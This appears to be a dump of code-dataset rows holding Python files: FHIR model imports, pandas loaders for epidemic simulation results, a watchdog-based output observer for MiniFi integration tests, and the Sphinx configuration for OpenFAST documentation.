from . import codeableconcept
except ImportError:
codeableconcept = sys.modules[__package__ + ".codeableconcept"]
try:
from . import fhirdate
except ImportError:
fhirdate = sys.modules[__package__ + ".fhirdate"]
try:
from . import fhirreference
except ImportError:
fhirreference = sys.modules[__package__ + ".fhirreference"]
try:
from . import identifier
except ImportError:
identifier = sys.modules[__package__ + ".identifier"]
try:
from . import timing
except ImportError:
timing = sys.modules[__package__ + ".timing"]
| true | true |
f73c5a03d5764913bd1f3641e6097bfa8b044cab | 822 | py | Python | scripts/data_utils.py | robertjankowski/social-media-influence-on-covid-pandemic | 1b04aa4aa88d4788fdfa023eb21b1f00b16f0110 | [
"MIT"
] | null | null | null | scripts/data_utils.py | robertjankowski/social-media-influence-on-covid-pandemic | 1b04aa4aa88d4788fdfa023eb21b1f00b16f0110 | [
"MIT"
] | null | null | null | scripts/data_utils.py | robertjankowski/social-media-influence-on-covid-pandemic | 1b04aa4aa88d4788fdfa023eb21b1f00b16f0110 | [
"MIT"
] | null | null | null | import pandas as pd
def get_value(text):
return text.split("_")[0]
def load_results(path: str, params):
all_parameters = {}
file_name = path.split("/")[-1].split(".csv")[0]
file_name = file_name.split("=")[1:]
for i, f in enumerate(file_name):
all_parameters[params[i]] = get_value(f)
df = pd.read_csv(path, index_col=0)
return all_parameters, df
def load_multilayer_results(path: str):
params = ['beta', 'gamma', 'mu', 'kappa', 'max_infected_time', 'q', 'p', 'xi', 'n', 'n_times', 'n_steps',
'n_agents', 'n_fraclinks']
return load_results(path, params)
def load_singlelayer_results(path: str):
params = ['beta', 'gamma', 'mu', 'kappa', 'max_infected_time', 'FRAC_A', 'FRAC_B', 'n_times', 'n_steps', 'n_agents']
return load_results(path, params)
| 28.344828 | 120 | 0.632603 | import pandas as pd
def get_value(text):
return text.split("_")[0]
def load_results(path: str, params):
all_parameters = {}
file_name = path.split("/")[-1].split(".csv")[0]
file_name = file_name.split("=")[1:]
for i, f in enumerate(file_name):
all_parameters[params[i]] = get_value(f)
df = pd.read_csv(path, index_col=0)
return all_parameters, df
def load_multilayer_results(path: str):
params = ['beta', 'gamma', 'mu', 'kappa', 'max_infected_time', 'q', 'p', 'xi', 'n', 'n_times', 'n_steps',
'n_agents', 'n_fraclinks']
return load_results(path, params)
def load_singlelayer_results(path: str):
params = ['beta', 'gamma', 'mu', 'kappa', 'max_infected_time', 'FRAC_A', 'FRAC_B', 'n_times', 'n_steps', 'n_agents']
return load_results(path, params)
| true | true |
f73c5a351177e87f798389c016a818827521fcc2 | 1,593 | py | Python | docker/test/integration/minifi/core/FileSystemObserver.py | galshi/nifi-minifi-cpp | 60905d30e926b5dac469dcdd27b24ac645d47519 | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | docker/test/integration/minifi/core/FileSystemObserver.py | galshi/nifi-minifi-cpp | 60905d30e926b5dac469dcdd27b24ac645d47519 | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | docker/test/integration/minifi/core/FileSystemObserver.py | galshi/nifi-minifi-cpp | 60905d30e926b5dac469dcdd27b24ac645d47519 | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | import logging
import time
from threading import Event
from watchdog.observers import Observer
from .OutputEventHandler import OutputEventHandler
class FileSystemObserver(object):
def __init__(self, test_output_dir):
self.test_output_dir = test_output_dir
# Start observing output dir
self.done_event = Event()
self.event_handler = OutputEventHandler(self.done_event)
self.observer = Observer()
self.observer.schedule(self.event_handler, self.test_output_dir, recursive=True)
self.observer.start()
def get_output_dir(self):
return self.test_output_dir
def restart_observer_if_needed(self):
if self.observer.is_alive():
return
self.observer = Observer()
self.done_event.clear()
self.observer.schedule(self.event_handler, self.test_output_dir, recursive=True)
self.observer.start()
def wait_for_output(self, timeout_seconds, output_validator, max_files):
logging.info('Waiting up to %d seconds for %d test outputs...', timeout_seconds, max_files)
self.restart_observer_if_needed()
wait_start_time = time.perf_counter()
for i in range(0, max_files):
# Note: The timing on Event.wait() is inaccurate
self.done_event.wait(timeout_seconds)
self.done_event.clear()
current_time = time.perf_counter()
if timeout_seconds < (current_time - wait_start_time) or output_validator.validate():
break
self.observer.stop()
self.observer.join()
| 33.893617 | 99 | 0.681733 | import logging
import time
from threading import Event
from watchdog.observers import Observer
from .OutputEventHandler import OutputEventHandler
class FileSystemObserver(object):
def __init__(self, test_output_dir):
self.test_output_dir = test_output_dir
self.done_event = Event()
self.event_handler = OutputEventHandler(self.done_event)
self.observer = Observer()
self.observer.schedule(self.event_handler, self.test_output_dir, recursive=True)
self.observer.start()
def get_output_dir(self):
return self.test_output_dir
def restart_observer_if_needed(self):
if self.observer.is_alive():
return
self.observer = Observer()
self.done_event.clear()
self.observer.schedule(self.event_handler, self.test_output_dir, recursive=True)
self.observer.start()
def wait_for_output(self, timeout_seconds, output_validator, max_files):
logging.info('Waiting up to %d seconds for %d test outputs...', timeout_seconds, max_files)
self.restart_observer_if_needed()
wait_start_time = time.perf_counter()
for i in range(0, max_files):
self.done_event.wait(timeout_seconds)
self.done_event.clear()
current_time = time.perf_counter()
if timeout_seconds < (current_time - wait_start_time) or output_validator.validate():
break
self.observer.stop()
self.observer.join()
| true | true |
f73c5c2af75357edbf54f442ef701b501aa8df38 | 7,620 | py | Python | docs/conf.py | flikka/openfast | e4faf27b774982df274b87c0570e4b58c4a13fe3 | [
"Apache-2.0"
] | 1 | 2020-01-20T02:19:46.000Z | 2020-01-20T02:19:46.000Z | docs/conf.py | flikka/openfast | e4faf27b774982df274b87c0570e4b58c4a13fe3 | [
"Apache-2.0"
] | 1 | 2018-08-14T19:01:21.000Z | 2018-08-14T19:01:21.000Z | docs/conf.py | nikhar-abbas/openfast | ccf6634c8701221cbbb11459015a7668c228b98d | [
"Apache-2.0"
] | 2 | 2020-10-12T01:04:59.000Z | 2020-12-29T01:20:48.000Z | # -*- coding: utf-8 -*-
#
# OpenFAST documentation build configuration file, created by
# sphinx-quickstart on Wed Jan 25 13:52:07 2017.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
import os
import sys
import subprocess
import re
#sys.path.append(os.path.abspath('_extensions/'))
readTheDocs = os.environ.get('READTHEDOCS', None) == 'True'
builddir = sys.argv[-1]
sourcedir = sys.argv[-2]
# Use this to turn Doxygen on or off
useDoxygen = True
# This function was adapted from https://gitlab.kitware.com/cmb/smtk
# Only run when on readthedocs
def runDoxygen(sourcfile, doxyfileIn, doxyfileOut):
dx = open(os.path.join(sourcedir, doxyfileIn), 'r')
cfg = dx.read()
srcdir = os.path.abspath(os.path.join(os.getcwd(), '..'))
bindir = srcdir
c2 = re.sub('@CMAKE_SOURCE_DIR@', srcdir, re.sub('@CMAKE_BINARY_DIR@', bindir, cfg))
doxname = os.path.join(sourcedir, doxyfileOut)
dox = open(doxname, 'w')
print(c2, file=dox)
dox.close()
print("Running Doxygen on {}".format(doxyfileOut))
doxproc = subprocess.call(('doxygen', doxname))
if readTheDocs and useDoxygen:
runDoxygen(sourcedir, 'Doxyfile.in', 'Doxyfile')
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.5.2'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.autosummary',
'sphinx.ext.mathjax',
'sphinx.ext.intersphinx',
'sphinxcontrib.doxylink',
'sphinxcontrib.bibtex',
]
autodoc_default_flags = [
'members',
'show-inheritance',
'undoc-members'
]
autoclass_content = 'both'
mathjax_path = 'https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML'
# FIXME: Naively assuming build directory one level up locally, and two up on readthedocs
if useDoxygen:
if readTheDocs:
doxylink = {
'openfast': (
os.path.join(builddir, '..', '..', 'openfast.tag'),
os.path.join('html')
)
}
else:
doxylink = {
'openfast': (
os.path.join(builddir, '..', 'openfast.tag'),
os.path.join('html')
)
}
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = ['.rst']
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'OpenFAST'
copyright = u'2017, National Renewable Energy Laboratory'
author = u'OpenFAST Team'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'2.1'
# The full version, including alpha/beta/rc tags.
release = u'v2.1.0'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
#If true, figures, tables and code-blocks are automatically numbered if they
#have a caption. At same time, the numref role is enabled. For now, it works
#only with the HTML builder and LaTeX builder. Default is False.
numfig = True
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']
# FIXME: Naively assuming build directory one level up locally, and two up on readthedocs
if useDoxygen:
if readTheDocs:
html_extra_path = [os.path.join(builddir, '..', '..', 'doxygen')]
else:
html_extra_path = [os.path.join(builddir, '..', 'doxygen')]
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
html_theme = 'sphinx_rtd_theme'
html_logo = '_static/openfastlogo.jpg'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
html_theme_options = {
"analytics_id": "UA-68999653-10"
}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# -- Options for HTMLHelp output ------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'Openfastdoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(
master_doc,
'Openfast.tex',
u'OpenFAST Documentation',
u'National Renewable Energy Laboratory',
'manual'
),
]
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(
master_doc,
'openfast',
u'OpenFAST Documentation',
[author],
1
)
]
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(
master_doc,
'OpenFAST',
u'OpenFAST Documentation',
author,
'OpenFAST',
'One line description of project.',
'Miscellaneous'
),
]
def setup(app):
app.add_object_type(
"confval",
"confval",
objname="input file parameter",
indextemplate="pair: %s; input file parameter"
)
app.add_object_type(
"cmakeval",
"cmakeval",
objname="CMake configuration value",
indextemplate="pair: %s; CMake configuration"
)
| 29.307692 | 95 | 0.655906 |
import os
import sys
import subprocess
import re
readTheDocs = os.environ.get('READTHEDOCS', None) == 'True'
builddir = sys.argv[-1]
sourcedir = sys.argv[-2]
useDoxygen = True
def runDoxygen(sourcfile, doxyfileIn, doxyfileOut):
dx = open(os.path.join(sourcedir, doxyfileIn), 'r')
cfg = dx.read()
srcdir = os.path.abspath(os.path.join(os.getcwd(), '..'))
bindir = srcdir
c2 = re.sub('@CMAKE_SOURCE_DIR@', srcdir, re.sub('@CMAKE_BINARY_DIR@', bindir, cfg))
doxname = os.path.join(sourcedir, doxyfileOut)
dox = open(doxname, 'w')
print(c2, file=dox)
dox.close()
print("Running Doxygen on {}".format(doxyfileOut))
doxproc = subprocess.call(('doxygen', doxname))
if readTheDocs and useDoxygen:
runDoxygen(sourcedir, 'Doxyfile.in', 'Doxyfile')
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.autosummary',
'sphinx.ext.mathjax',
'sphinx.ext.intersphinx',
'sphinxcontrib.doxylink',
'sphinxcontrib.bibtex',
]
autodoc_default_flags = [
'members',
'show-inheritance',
'undoc-members'
]
autoclass_content = 'both'
mathjax_path = 'https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML'
if useDoxygen:
if readTheDocs:
doxylink = {
'openfast': (
os.path.join(builddir, '..', '..', 'openfast.tag'),
os.path.join('html')
)
}
else:
doxylink = {
'openfast': (
os.path.join(builddir, '..', 'openfast.tag'),
os.path.join('html')
)
}
templates_path = ['_templates']
source_suffix = ['.rst']
master_doc = 'index'
project = u'OpenFAST'
copyright = u'2017, National Renewable Energy Laboratory'
author = u'OpenFAST Team'
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'2.1'
# The full version, including alpha/beta/rc tags.
release = u'v2.1.0'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
#If true, figures, tables and code-blocks are automatically numbered if they
#have a caption. At same time, the numref role is enabled. For now, it works
#only with the HTML builder and LaTeX builder. Default is False.
numfig = True
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']
# FIXME: Naively assuming build directory one level up locally, and two up on readthedocs
if useDoxygen:
if readTheDocs:
html_extra_path = [os.path.join(builddir, '..', '..', 'doxygen')]
else:
html_extra_path = [os.path.join(builddir, '..', 'doxygen')]
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
html_theme = 'sphinx_rtd_theme'
html_logo = '_static/openfastlogo.jpg'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
html_theme_options = {
"analytics_id": "UA-68999653-10"
}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# -- Options for HTMLHelp output ------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'Openfastdoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(
master_doc,
'Openfast.tex',
u'OpenFAST Documentation',
u'National Renewable Energy Laboratory',
'manual'
),
]
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(
master_doc,
'openfast',
u'OpenFAST Documentation',
[author],
1
)
]
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(
master_doc,
'OpenFAST',
u'OpenFAST Documentation',
author,
'OpenFAST',
'One line description of project.',
'Miscellaneous'
),
]
def setup(app):
app.add_object_type(
"confval",
"confval",
objname="input file parameter",
indextemplate="pair: %s; input file parameter"
)
app.add_object_type(
"cmakeval",
"cmakeval",
objname="CMake configuration value",
indextemplate="pair: %s; CMake configuration"
)
| true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.